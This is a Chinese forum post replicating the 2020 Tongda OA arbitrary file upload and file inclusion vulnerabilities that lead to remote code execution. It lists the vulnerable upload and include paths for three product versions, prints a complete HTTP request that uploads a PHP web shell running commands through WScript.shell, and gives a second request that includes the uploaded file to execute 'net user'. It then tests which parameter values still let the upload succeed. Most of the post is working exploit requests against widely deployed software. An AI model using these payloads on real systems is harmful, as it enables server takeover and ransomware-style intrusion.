浅析通达OA任意文件上传和文件包含漏洞导致RCE漏洞

2020-03-26 11:41:02 Author: forum.90sec.com
觉得文章还不错?,点我收藏



1. 漏洞背景

通达OA是由北京通达信科科技有限公司研发的一款通用型OA产品,涵盖了个人事务、行政办公、流程审批、知识管理、人力资源管理、组织机构管理等企业信息化管理功能。
2020年03月18日, 360CERT监测发现通达OA官方在03月13日发布了针对勒索病毒事件的紧急更新。根据分析该事件是通达OA中存在的两枚漏洞(文件上传漏洞,文件包含漏洞)所导致。

2. 漏洞复现

今日参考了木子大佬在freebuf发表的一篇关于通达OA的漏洞复现,对其中关于任意文件上传漏洞的POC四个构造条件很感兴趣,因此记录下漏洞复现后的心得。

漏洞的Poc的构造需要满足四个条件: P非空、DEST_UID非空且为数字、UPLOAD_MODE为1或2或3、ATTACHMENT的filename后缀名不能为php

2.1. 漏洞环境搭建

此次选择通达OA2019版,小弟再次附上百度云地址:链接:https://pan.baidu.com/s/1gb1LIJIxMrQdVo_rHkab3g 密码:mjcj
由于通达OA不同版本的文件包含URI路径不同,再此作如下说明

  • 2013版本:
    • 文件上传路径:/ispirit/im/upload.php
    • 文件包含路径:/ispirit/interface/gateway.php
  • 2017版本:
    • 文件上传路径:/ispirit/im/upload.php
    • 文件包含路径:/mac/gateway.php
  • 2019版本:
    • 文件上传路径:/ispirit/im/upload.php
    • 文件包含路径:/ispirit/interface/gateway.php

下载通达OA软件包后,一直next到底即可安装完成。

需要注意的是,安装完后,在本地浏览器能正常访问,但从其他浏览器访问不了的话,可能是windows自带防火墙的原因,需要关闭windows防火墙。

2.2. 复现过程

在此仅对任意文件上传漏洞的四个条件作深入了解,根据木子大佬的文章,上传漏洞的条件是

  • P非空
  • DEST_UID非空且为数字
  • UPLOAD_MODE为1或2或3
  • ATTACHEMENT的filename后缀不能为php

任意文件上传POC代码如下

POST /ispirit/im/upload.php HTTP/1.1
Host: 10.211.55.3
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

任意文件包含的POC如下:

POST /mac/gateway.php HTTP/1.1
Host: 10.10.20.116:88
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 71
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2003/938379153.jpg"}&cmd=net user

当其他参数不变,P参数置为空时,重放仍可以成功

接下来,在P为空时,将DEST_UID置为空,重放仍可成功上传文件

现在将DEST_UID置为“aa”字符串,重放仍可成功

现在将DEST_UID还置为空,将UPLOAD_MODE置为1,重放失败

将UPLOAD_MODE置为3,重放失败

将UPLOAD_MODE置为4,重放失败

因此upload_mode必须置为2
先将

P置为空,
Upload_mode=2
DEST_UID置为空
将attachement的filename参数置为asp,重放失败

将filename参数置为"aaa",重放成功

将filename="mp4",重放成功

从上传目录可以看之前上传的文件

下面利用文件包含漏洞包含上面的mp4格式的文件,发包试试

2.3. 总结

针对通达OA2019.09.11版系统,进行文件上传和文件包含导致的RCE漏洞的实践,发现在文件上传时候,对4个参数的限制总结如下:

  • P参数可为空
  • DEST_UID可为空
  • UPLOAD_MODE仅能为2
  • ATTACHEMENT的filename参数不能是asp,其他例如aaa,mp4,xxx等都行

3. 参考

githubTondaOA
通达OA任意文件上传和文件包含漏洞导致RCE

  • 通过
  • 未通过

0 投票者




觉得文章还不错?,点我收藏



如果文章侵犯到您的版权,请联系我:buaq.net[#]pm.me